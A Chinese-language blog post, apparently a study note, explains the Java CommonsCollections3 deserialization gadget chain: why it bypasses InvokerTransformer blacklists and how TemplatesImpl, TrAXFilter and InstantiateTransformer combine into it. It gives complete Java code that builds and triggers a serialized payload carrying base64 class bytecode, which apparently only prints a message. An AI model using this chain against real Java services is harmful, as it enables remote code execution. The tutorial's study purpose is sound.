反序列化Gadget学习篇五 CommonCollections3

为什么需要CC3

在2015年前后@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及Java反序列化利用工具ysoserial,随后引爆了安全界。开发者们自然会去找寻一种安 全的过滤方法,于是类似SerialKiller这样的工具随之诞生。
SerialKiller是一个Java反序列化过滤器,可以通过黑名单与白名单的方式来限制反序列化时允许通过的 类。在其发布的第一个版本代码中,我们可以看到其给出了最初的黑名单:

包括了CC1使用的InvokerTransformer,这也就切断了CC1的利用链,为了绕过类似工具提供的限制,随后ysoserial增加了不少新的Gadgets,其中就包括CommonsCollections3。

另外一个原因是,CC3使用了TemplatesImpl动态加载字节码的方式,可以执行任意java代码,实战意义更大,更好用。

Gadgets 构造

这部分涉及到java加载字节码的原理,参考Java中动态加载字节码的那些方法
我们先尝试用TemplatesImpl + InvokerTransformer来构造一个利用链

public static void main(String[] args) throws Exception{
    TemplatesImpl obj = new TemplatesImpl();
    byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
    setFieldValue(obj, "_bytecodes", new byte[][]{code});
    setFieldValue(obj, "_name", "HelloTemplatesImpl");
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
    
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(obj),
            new InvokerTransformer("newTransformer", null, null)
    };
    
    Transformer transformerChain = new ChainedTransformer(transformers);
    Map innerMap = new HashMap();
    Map outerMap = TransformedMap.decorate(innerMap, null ,transformerChain);


    outerMap.put("test","xxx");
}

假设无法使用InvokerTransformer,那么需要找替代类,CC3找到了一个搭配TemplatesImpl的类com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter,这个类并不能像transformer一样执行任意方法,但是这个类的构造方法中调用了(TransformerImpl) templates.newTransformer();


因此只要调用到TrAXFilter的构造方法,传入一个构造好的Templates即可触发。
并使用另一个transformer:org.apache.commons.collections.functors.InstantiateTransformer替换InvokerTransformer
InstantiateTransformer也是一个实现了Transformer接口的类,他的作用就是调用构造方法。新的Transformer链如下:

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[] {Templates.class} , new Object[]{obj})
        };


当然也可以替换为lazymap或者CC6的触发方式,完成版本通杀

补充完整,用序列化触发,复习一下前面的内容,HashMap不能序列化,需要用sun.reflect.annotation.AnnotationInvocationHandler,来封装

完整代码:

public static void main(String[] args) throws Exception{
    TemplatesImpl obj = new TemplatesImpl();
    byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
    setFieldValue(obj, "_bytecodes", new byte[][]{code});
    setFieldValue(obj, "_name", "HelloTemplatesImpl");
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

    Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[] {Templates.class} , new Object[]{obj})
    };
    Transformer transformerChain = new ChainedTransformer(fakeTransformers);

    Map innerMap = new HashMap();
    innerMap.put("value", "xxx");
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);

    // 注意这里Retention.class 和上面innerMap.put("value", "xxx")的关联
    InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);

    setFieldValue(transformerChain, "iTransformers", transformers);

    // =================
    // 生成序列化字符串
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(bos);
    oos.writeObject(handler);
    oos.close();

    // 本地反序列化
    ObjectInputStream bis = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
    bis.readObject();
}
    ```
posted @ 2021-08-20 14:54  ChanGeZ  阅读(212)  评论(0编辑  收藏  举报